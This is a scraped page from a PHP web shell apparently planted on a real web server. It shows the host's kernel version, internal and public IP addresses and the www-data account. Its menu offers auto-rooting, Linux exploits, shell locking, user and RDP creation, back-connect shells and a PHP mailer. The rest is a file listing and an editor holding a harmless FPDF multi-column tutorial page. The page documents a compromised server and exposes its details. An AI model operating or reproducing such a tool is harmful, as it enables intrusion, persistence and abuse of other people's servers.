Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.12.34.211
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stph /
tarka_pdf_latest /
tutorial /
[ HOME SHELL ]
Name
Size
Permission
Action
20k_c1.txt
5.37
KB
-rwxr-xr-x
20k_c2.txt
7.11
KB
-rwxr-xr-x
calligra.afm
12.2
KB
-rwxr-xr-x
calligra.php
3.27
KB
-rwxr-xr-x
calligra.ttf
39.18
KB
-rwxr-xr-x
calligra.z
25
KB
-rwxr-xr-x
countries.txt
427
B
-rwxr-xr-x
index.htm
932
B
-rwxr-xr-x
logo.png
2.32
KB
-rwxr-xr-x
logo_pb.png
2.59
KB
-rwxr-xr-x
makefont.php
145
B
-rwxr-xr-x
tuto1.htm
4.65
KB
-rwxr-xr-x
tuto1.php
149
B
-rwxr-xr-x
tuto2.htm
5.41
KB
-rwxr-xr-x
tuto2.php
732
B
-rwxr-xr-x
tuto3.htm
8.75
KB
-rwxr-xr-x
tuto3.php
1.66
KB
-rwxr-xr-x
tuto4.htm
9.59
KB
-rwxr-xr-x
tuto4.php
2.06
KB
-rwxr-xr-x
tuto5.htm
11.81
KB
-rwxr-xr-x
tuto5.php
2.1
KB
-rwxr-xr-x
tuto6.htm
12.22
KB
-rwxr-xr-x
tuto6.php
2.4
KB
-rwxr-xr-x
tuto7.htm
14.21
KB
-rwxr-xr-x
tuto7.php
247
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tuto4.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Multi-columns</title> <link type="text/css" rel="stylesheet" href="../fpdf.css"> </head> <body> <h1>Multi-columns</h1> This example is a variant of the previous one showing how to lay the text across multiple columns. <div class="source"> <pre><code><?php <span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">); class </span>PDF <span class="kw">extends </span>FPDF <span class="kw">{ </span><span class="cmt">//Current column </span><span class="kw">var </span>$col<span class="kw">=</span>0<span class="kw">; </span><span class="cmt">//Ordinate of column start </span><span class="kw">var </span>$y0<span class="kw">; function </span>Header<span class="kw">() { </span><span class="cmt">//Page header </span><span class="kw">global </span>$title<span class="kw">; </span>$<span class="kw">this-></span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span>15<span class="kw">); </span>$w<span class="kw">=</span>$<span class="kw">this-></span>GetStringWidth<span class="kw">(</span>$title<span class="kw">)+</span>6<span class="kw">; </span>$<span class="kw">this-></span>SetX<span class="kw">((</span>210<span class="kw">-</span>$w<span class="kw">)/</span>2<span class="kw">); </span>$<span class="kw">this-></span>SetDrawColor<span class="kw">(</span>0<span class="kw">,</span>80<span class="kw">,</span>180<span class="kw">); </span>$<span class="kw">this-></span>SetFillColor<span class="kw">(</span>230<span class="kw">,</span>230<span class="kw">,</span>0<span class="kw">); </span>$<span class="kw">this-></span>SetTextColor<span class="kw">(</span>220<span class="kw">,</span>50<span class="kw">,</span>50<span class="kw">); </span>$<span class="kw">this-></span>SetLineWidth<span class="kw">(</span>1<span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>$w<span class="kw">,</span>9<span class="kw">,</span>$title<span class="kw">,</span>1<span class="kw">,</span>1<span class="kw">,</span><span class="str">'C'</span><span class="kw">,</span>true<span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(</span>10<span class="kw">); </span><span class="cmt">//Save ordinate </span>$<span class="kw">this-></span>y0<span class="kw">=</span>$<span class="kw">this-></span>GetY<span class="kw">(); } function </span>Footer<span class="kw">() { </span><span class="cmt">//Page footer </span>$<span class="kw">this-></span>SetY<span class="kw">(-</span>15<span class="kw">); </span>$<span class="kw">this-></span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">,</span>8<span class="kw">); </span>$<span class="kw">this-></span>SetTextColor<span class="kw">(</span>128<span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>0<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Page '</span><span class="kw">.</span>$<span class="kw">this-></span>PageNo<span class="kw">(),</span>0<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">); } function </span>SetCol<span class="kw">(</span>$col<span class="kw">) { </span><span class="cmt">//Set position at a given column </span>$<span class="kw">this-></span>col<span class="kw">=</span>$col<span class="kw">; </span>$x<span class="kw">=</span>10<span class="kw">+</span>$col<span class="kw">*</span>65<span class="kw">; </span>$<span class="kw">this-></span>SetLeftMargin<span class="kw">(</span>$x<span class="kw">); </span>$<span class="kw">this-></span>SetX<span class="kw">(</span>$x<span class="kw">); } function </span>AcceptPageBreak<span class="kw">() { </span><span class="cmt">//Method accepting or not automatic page break </span><span class="kw">if(</span>$<span class="kw">this-></span>col<span class="kw"><</span>2<span class="kw">) { </span><span class="cmt">//Go to next column </span>$<span class="kw">this-></span>SetCol<span class="kw">(</span>$<span class="kw">this-></span>col<span class="kw">+</span>1<span class="kw">); </span><span class="cmt">//Set ordinate to top </span>$<span class="kw">this-></span>SetY<span class="kw">(</span>$<span class="kw">this-></span>y0<span class="kw">); </span><span class="cmt">//Keep on page </span><span class="kw">return </span>false<span class="kw">; } else { </span><span class="cmt">//Go back to first column </span>$<span class="kw">this-></span>SetCol<span class="kw">(</span>0<span class="kw">); </span><span class="cmt">//Page break </span><span class="kw">return </span>true<span class="kw">; } } function </span>ChapterTitle<span class="kw">(</span>$num<span class="kw">,</span>$label<span class="kw">) { </span><span class="cmt">//Title </span>$<span class="kw">this-></span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>12<span class="kw">); </span>$<span class="kw">this-></span>SetFillColor<span class="kw">(</span>200<span class="kw">,</span>220<span class="kw">,</span>255<span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>0<span class="kw">,</span>6<span class="kw">,</span><span class="str">"Chapter $num : $label"</span><span class="kw">,</span>0<span class="kw">,</span>1<span class="kw">,</span><span class="str">'L'</span><span class="kw">,</span>true<span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(</span>4<span class="kw">); </span><span class="cmt">//Save ordinate </span>$<span class="kw">this-></span>y0<span class="kw">=</span>$<span class="kw">this-></span>GetY<span class="kw">(); } function </span>ChapterBody<span class="kw">(</span>$file<span class="kw">) { </span><span class="cmt">//Read text file </span>$f<span class="kw">=</span>fopen<span class="kw">(</span>$file<span class="kw">,</span><span class="str">'r'</span><span class="kw">); </span>$txt<span class="kw">=</span>fread<span class="kw">(</span>$f<span class="kw">,</span>filesize<span class="kw">(</span>$file<span class="kw">)); </span>fclose<span class="kw">(</span>$f<span class="kw">); </span><span class="cmt">//Font </span>$<span class="kw">this-></span>SetFont<span class="kw">(</span><span class="str">'Times'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>12<span class="kw">); </span><span class="cmt">//Output text in a 6 cm width column </span>$<span class="kw">this-></span>MultiCell<span class="kw">(</span>60<span class="kw">,</span>5<span class="kw">,</span>$txt<span class="kw">); </span>$<span class="kw">this-></span>Ln<span class="kw">(); </span><span class="cmt">//Mention </span>$<span class="kw">this-></span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">); </span>$<span class="kw">this-></span>Cell<span class="kw">(</span>0<span class="kw">,</span>5<span class="kw">,</span><span class="str">'(end of excerpt)'</span><span class="kw">); </span><span class="cmt">//Go back to first column </span>$<span class="kw">this-></span>SetCol<span class="kw">(</span>0<span class="kw">); } function </span>PrintChapter<span class="kw">(</span>$num<span class="kw">,</span>$title<span class="kw">,</span>$file<span class="kw">) { </span><span class="cmt">//Add chapter </span>$<span class="kw">this-></span>AddPage<span class="kw">(); </span>$<span class="kw">this-></span>ChapterTitle<span class="kw">(</span>$num<span class="kw">,</span>$title<span class="kw">); </span>$<span class="kw">this-></span>ChapterBody<span class="kw">(</span>$file<span class="kw">); } } </span>$pdf<span class="kw">=new </span>PDF<span class="kw">(); </span>$title<span class="kw">=</span><span class="str">'20000 Leagues Under the Seas'</span><span class="kw">; </span>$pdf<span class="kw">-></span>SetTitle<span class="kw">(</span>$title<span class="kw">); </span>$pdf<span class="kw">-></span>SetAuthor<span class="kw">(</span><span class="str">'Jules Verne'</span><span class="kw">); </span>$pdf<span class="kw">-></span>PrintChapter<span class="kw">(</span>1<span class="kw">,</span><span class="str">'A RUNAWAY REEF'</span><span class="kw">,</span><span class="str">'20k_c1.txt'</span><span class="kw">); </span>$pdf<span class="kw">-></span>PrintChapter<span class="kw">(</span>2<span class="kw">,</span><span class="str">'THE PROS AND CONS'</span><span class="kw">,</span><span class="str">'20k_c2.txt'</span><span class="kw">); </span>$pdf<span class="kw">-></span>Output<span class="kw">(); </span>?></code></pre> </div> <p class='demo'><a href='tuto4.php' target='_blank' class='demo'>[Demo]</a></p> The key method used is <a href='../doc/acceptpagebreak.htm'>AcceptPageBreak()</a>. It allows to accept or not an automatic page break. By refusing it and altering the margin and current position, the desired column layout is achieved. <br> For the rest, not many changes; two properties have been added to the class to save the current column number and the position where columns begin, and the MultiCell() call specifies a 6 centimeter width. </body> </html>
Close